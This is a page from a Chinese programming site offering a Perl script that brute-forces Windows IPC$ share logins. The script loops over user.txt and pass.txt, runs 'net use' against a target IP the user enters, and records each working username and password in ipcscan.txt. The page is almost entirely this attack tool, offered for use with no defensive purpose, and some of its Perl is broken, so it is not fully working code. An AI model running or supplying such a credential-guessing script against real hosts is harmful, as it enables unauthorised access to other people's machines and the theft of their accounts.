搜索文章:

首页  |  Java技术  |  Asp.net  |  Asp编程  |  VC/C++  |  Delphi  |  VB编程

用perl调用系统命令来实现IPC$远程猜解

用perl调用系统命令来实现ipc$远程猜解,适合win2k以上的系统。

#usr/bin/perl -w

print "请输入要猜解的ip:";
$host=<stdin>;
chop($host);
$file1="nt_user";
$file2="nt_pass";
open(file,"user.txt")die "$file1文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@user=<file>){
foreach $name(@user){
chomp($name);
open(file,"pass.txt")die "$file2文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@pass=<file>){
foreach $password(@pass){
chop($password);
print ("正在尝试 name=$namepass=$password"); #从这里往上不要我解释了吧
print "net use \\$host\ipc$ $password /user:$name";
$check=`"net use \\$host\ipc$ $password /user:$name"`; #调用perl函数,执行系统命令
if($check) { #判断连接是否成功
print "--------连接成功!!\n";
system ("net use \\$host\ipc$ /del"); #成功连接后就删除连接,并打开文件写入
open (h,">>ipcscan.txt")die "打不开ipcscan.txt\n";
print h "主机$host用户名:$name 密码:$password \n";
close h;
}
print "\n";
}
}
}
}
print "结果已写入ipcscan.txt文件请查看\n";

()

相关文章:
© 2006   www.java-asp.net